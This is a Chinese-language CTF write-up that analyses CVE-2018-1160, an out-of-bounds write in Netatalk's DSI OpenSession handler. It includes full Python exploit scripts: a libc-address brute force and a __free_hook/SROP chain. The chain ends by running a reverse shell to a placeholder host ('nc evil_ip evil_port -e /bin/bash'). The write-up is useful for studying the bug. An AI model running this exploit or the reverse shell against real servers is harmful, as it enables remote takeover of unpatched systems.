目录

CVE-2018-1160分析与复现

pwnable.tw的第三题,卡住了。基本原理在参考链接里都写了,就记录一下过程然后补充一些我看师傅们博客比较疑惑的点吧。

简介

Netatalk是Apple归档协议(AFP,Apple Filing Protocol)的一种实现。

想要自己重新编译启动服务可以参考这篇:https://xz.aliyun.com/t/3710

题目给了afpdlibatalk.so,就不自己编译了。

doc/manpages/man8/afpd.8.xml中有启动方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<refsynopsisdiv>
    <cmdsynopsis>
      <command>afpd</command>

      <arg choice="opt">-d</arg>

      <arg choice="opt">-F <replaceable>configfile</replaceable></arg>
    </cmdsynopsis>

    <cmdsynopsis>
      <command>afpd</command>

      <group choice="plain">
        <arg choice="plain">-v</arg>
        <arg choice="plain">-V</arg>
        <arg choice="plain">-h</arg>
      </group>

    </cmdsynopsis>
  </refsynopsisdiv>

启动:LD_PRELOAD=./libatalk.so.18 ./afpd -d -F afp.conf

https://github.com/Netatalk/Netatalk 下载源码后可以git reset --hard 6243b6b89d21754c55f04e168dcfe8bb643a4285方便查阅有漏洞的源码。

漏洞分析

主要漏洞出现在libatalk/dsi/dsi_opensess.c/dsi_opensession

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  size_t i = 0;
  uint32_t servquant;
  uint32_t replcsize;
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

在这个memcpy处,第三个参数dsi->commands[i]的值是可控的,范围在0-255。同时dsi->commands + i + 1指针处的内容也是可控的,所以可以覆盖dsi->attn_quantum地址处的值。dsi的数据结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

#define DSI_DATASIZ       65536

所以可以覆写attn_quantum/datasize/server_quantum/serverID/clientID/commands/data[DSI_DATASIZ]这些成员。如果commands地址合法server_quantum会回传回来。

当服务器端主进程fork出一个新的连接后,commands指针的生命周期就开始了。当dsi结构初始化后,堆空间将分配出一块内存并赋给commands。每一条传入的AFP消息都将在被Netatalk的AFP函数处理前,先被写入commands指针里。commands占用的内存在连接终止后、程序退出前被释放。

所以输入的内容按照格式先存储在commands里然后再解析commands的内容。

跑一下这个poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
import struct
p = remote("127.0.0.1", 5566)
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x18" # length
dsi_opensession += "A"*0x10+p64(0xdeadbeefcafebabe)  # 覆写commands指针为0xdeadbeefcafebabe
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # dsi_getsession中想要转到open_session需要dsi_command为DSIFUNC_OPEN
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
p.send(dsi_header)
p.recv(0x1c)
pause()
p.send(dsi_header)
p.interactive()

执行完memcopy函数后:

/images/CVE-2018-1160/1.png

可以看到commands的指针被成功修改成了0xdeadbeefcafebabe

已知在连解断开后,这个commands指针的生命周期才会结束,所以这连解没断开的时候,后续的内容还是会写入这个commands指针指向的地方,commands指针可改的话即可达到地址任意写。

漏洞利用

一般地址任意写以后可以控制free_hook以及free对象就可以达到RCE的目的。这里用写free_hook的方法。

爆破libc基址

想要写free_hook首先需要泄露libc基址。

程序开了ASLR,每有一个新的连解就会fork出一个子进程处理,子进程的地址空间与父进程相同。

当覆写的commands指针不合法的时候,会产生段错误。如果是合法地址,服务器会将server_quantum的内容回传。那么可以一位一位的覆盖DSI->commands如果没有段错误(有返回内容)则说明爆破正确。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import struct

# context.log_level = "debug"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_header(addr):
    dsi_opensession = "\x01" # attention quantum option
    dsi_opensession += chr(len(addr)+0x10) # length
    dsi_opensession += "a"*0x10+addr
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x04" # open session command
    dsi_header += "\x00\x01" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(dsi_opensession))
    dsi_header += "\x00\x00\x00\x00" # reserved
    dsi_header += dsi_opensession
    return dsi_header


addr = ""
while len(addr)<6 :
    for i in range(256):
        r = remote(ip,port)
        r.send(create_header(addr+chr(i)))
        try:
            if "a"*4 in r.recvrepeat(1):
                addr += chr(i)
                r.close()
                break
        except:
            r.close()
    val = u64(addr.ljust(8,'\x00'))
    print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000  # 这个offset与环境相关
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))

SROP

已知libc基址+任意地址写的情况下,可以覆写_free_hook后续触发free函数来达到攻击目的。free对象并不容易控制,Balsn战队借助SROP达到RCE的目的。

这篇有对SROP: Sigreturn Oriented Programming的介绍,总的来说就是利用rt_sigreturn恢复ucontext_t的机制,来构造一个假的ucontext_t,这样就能控制所有的寄存器。pwntools现有的库函数是SigreturnFrame。这个链接中同时介绍了使用SROP进行攻击的一种方法:

利用fastbin attack劫持__free_hook,利用setcontex来进行SROP然后ROP读出flag;

setcontext函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流.

一般是从setcontext+53开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]这个指令,一般用来利用call mprotect-> jmp shellcode

我们在这里同样也是用的这个方法。

  1. __free_hook改写成__libc_dlopen_mode+56

    /images/CVE-2018-1160/2.png

  2. __libc_dlopen_mode+56处会判断_dl_open_hook是否为空,不为空的话call dlopen_mode

1
2
3
4
5
6
7
8
static struct dl_open_hook _dl_open_hook =
  {
    .dlopen_mode = __libc_dlopen_mode,
    .dlsym = __libc_dlsym,
    .dlclose = __libc_dlclose,
    .dlvsym = __libc_dlvsym,
  };
#endif
  1. _dl_open_hook_free_hook后面,可以覆盖dl_open_hook。覆盖成如下gadget:

    1
    2
    
    0x7f12ef28aaff <_IO_new_fgetpos+207>:        mov    rdi,rax
    0x7f12ef28ab02 <_IO_new_fgetpos+210>:        call   QWORD PTR [rax+0x20]
    

    /images/CVE-2018-1160/3.png

    此时寄存器中的内容如下:

    /images/CVE-2018-1160/4.png

  2. 以上gadget在call QWORD PTR [rax+0x20]这条语句中会调用传入的setcontext+53这个地方,即后续SROP触发的地方。

    SROP的rdi设置成system函数,参数为前面传入的反弹shell语句。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
import struct

context.log_level = "info"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create_header(addr):
    dsi_opensession = "\x01" # attention quantum option
    dsi_opensession += chr(len(addr)+0x10) # length
    dsi_opensession += "a"*0x10+addr
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x04" # open session command
    dsi_header += "\x00\x01" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(dsi_opensession))
    dsi_header += "\x00\x00\x00\x00" # reserved
    dsi_header += dsi_opensession
    return dsi_header

def create_afp(idx,payload):
    afp_command = chr(idx) # invoke the second entry in the table
    afp_command += "\x00" # protocol defined padding
    afp_command += payload
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x02" # "AFP" command
    dsi_header += "\x00\x02" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(afp_command))
    dsi_header += '\x00\x00\x00\x00' # reserved
    dsi_header += afp_command
    return dsi_header


# get libc base
addr = ""
while len(addr)<6 :
    for i in range(256):
        r = remote(ip,port)
        r.send(create_header(addr+chr(i)))
        try:
            if "a"*4 in r.recvrepeat(1):
                addr += chr(i)
                r.close()
                break
        except:
            r.close()
    val = u64(addr.ljust(8,'\x00'))
    print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base

raw_input("write free hook: ")
free_hook = libc.sym['__free_hook']
# mov    rdi,rax ; call   QWORD PTR [rax+0x20]
magic = libc_base + 0x7eaff
dl_openmode = libc_base + 0x166398
dl_open_hook = libc_base + 0x3f0588

r = remote(ip,port)
r.send(create_header(p64(free_hook-0x30))) #  overwrite afp_command buf with free_hook-0x30
#
raw_input("write shell: ")
rip="127.0.0.1"
rport=1234
cmd='bash -c "nc evil_ip evil_port -t -e /bin/bash" \x00'# cat flag to controled ip and port

sigframe = SigreturnFrame()
sigframe.rdi = free_hook + 8
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 0
sigframe.rsp = free_hook+0x400
sigframe.rip = libc.sym['system']

payload =  '\x00'*0x2e
payload += p64(dl_openmode) # free_hook
payload += cmd.ljust(0x2c98,'\x00')
payload += p64(dl_open_hook+8) + p64(magic)*4
payload += p64(libc.sym['setcontext']+53)
payload += str(sigframe)[0x28:]
r.send(create_afp(0,payload))

raw_input("get shell: ")
r.send(create_afp(18,""))

r.interactive()

这个CVE-2018-1160 netatalk越界漏洞复现及分析给的exp中,第一次发送的r.send(create_header(p64(free_hook-0x30)))用来写commands的指针。第二次r.send(create_afp(0,payload))用来在commands处写入布置好的内容。第三次r.send(create_afp(18,""))用来触发free函数。

afp_over_dsi函数中存在如下语句:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
            function = (u_char) dsi->commands[0];

            /* AFP replay cache */
            rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
            LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);

            if (replaycache[rc_idx].DSIreqID == dsi->clientID
                && replaycache[rc_idx].AFPcommand == function) {
                LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
                    dsi->clientID, AfpNum2name(function));
                err = replaycache[rc_idx].result;
            /* AFP replay cache end */
            } else {
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

这里调用了*afp_switch[dsi->commands[0]].在默认未登录状态下,afp_switch等于preauth_switch内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,				/*  56 -  63 */
    ......
};

在最后一条触发语句中调用的是afp_login函数。这个函数会调用send_reply函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static int send_reply(const AFPObj *obj, const int err)
{
    if ((err == AFP_OK) || (err == AFPERR_AUTHCONT))
        return err;

    obj->reply(obj->dsi, err);
    obj->exit(0);  // afp_dsi_die

    return AFP_OK;
}

其中obj->exit指向的是afp_dsi_die函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/* -------------------------------
 * SIGTERM
 * a little bit of code duplication. 
 */
static void afp_dsi_die(int sig)
{
    DSI *dsi = (DSI *)AFPobj->dsi;

    if (dsi->flags & DSI_RECONINPROG) {
        /* Primary reconnect succeeded, got SIGTERM from afpd parent */
        dsi->flags &= ~DSI_RECONINPROG;
        return; /* this returns to afp_disconnect */
    }

    if (dsi->flags & DSI_DISCONNECTED) {
        LOG(log_note, logtype_afpd, "Disconnected session terminating");
        exit(0);
    }

    dsi_attention(AFPobj->dsi, AFPATTN_SHUTDOWN);
    afp_dsi_close(AFPobj);
   if (sig) /* if no signal, assume dieing because logins are disabled &
                don't log it (maintenance mode)*/
        LOG(log_info, logtype_afpd, "Connection terminated");
    if (sig == SIGTERM || sig == SIGALRM) {
        exit( 0 );
    }
    else {
        exit(sig);
    }
}

static void afp_dsi_close(AFPObj *obj)
{
    DSI *dsi = obj->dsi;
    sigset_t sigs;
    
    close(obj->ipc_fd);
    obj->ipc_fd = -1;

    /* we may have been called from a signal handler caught when afpd was running
     * as uid 0, that's the wrong user for volume's prexec_close scripts if any,
     * restore our login user
     */
    if (geteuid() != obj->uid) {
        if (seteuid( obj->uid ) < 0) {
            LOG(log_error, logtype_afpd, "can't seteuid(%u) back %s: uid: %u, euid: %u", 
                obj->uid, strerror(errno), getuid(), geteuid());
            exit(EXITERR_SYS);
        }
    }

    close_all_vol(obj);
    if (obj->logout) {
        /* Block sigs, PAM/systemd/whoever might send us a SIG??? in (*obj->logout)() -> pam_close_session() */
        sigfillset(&sigs);
        pthread_sigmask(SIG_BLOCK, &sigs, NULL);
        (*obj->logout)();
    }

    LOG(log_note, logtype_afpd, "AFP statistics: %.2f KB read, %.2f KB written",
        dsi->read_count/1024.0, dsi->write_count/1024.0);
    log_dircache_stat();

    dsi_close(dsi);
}

void dsi_close(DSI *dsi)
{
  /* server generated. need to set all the fields. */
  if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
      dsi->header.dsi_flags = DSIFL_REQUEST;
      dsi->header.dsi_command = DSIFUNC_CLOSE;
      dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
      dsi->header.dsi_data.dsi_code = dsi->header.dsi_reserved = htonl(0);
      dsi->cmdlen = 0; 
      dsi_send(dsi);
      dsi->proto_close(dsi);
  }
  free(dsi);
}

afp_dsi_die->afp_dsi_close->dsi_close->free,最终会调用到free函数触发漏洞RCE。

参考链接

Exploiting an 18 Year Old Bug

https://github.com/Netatalk/Netatalk/commit/750f9b55844b444b8ff1a38206fd2bdbab85c21f

CVE-2018-1160 netatalk越界漏洞复现及分析

https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#netatalk

Netatalk CVE-2018-1160 分析

Linux User Exploit(0)–SROP的引伸

SROP: Sigreturn Oriented Programming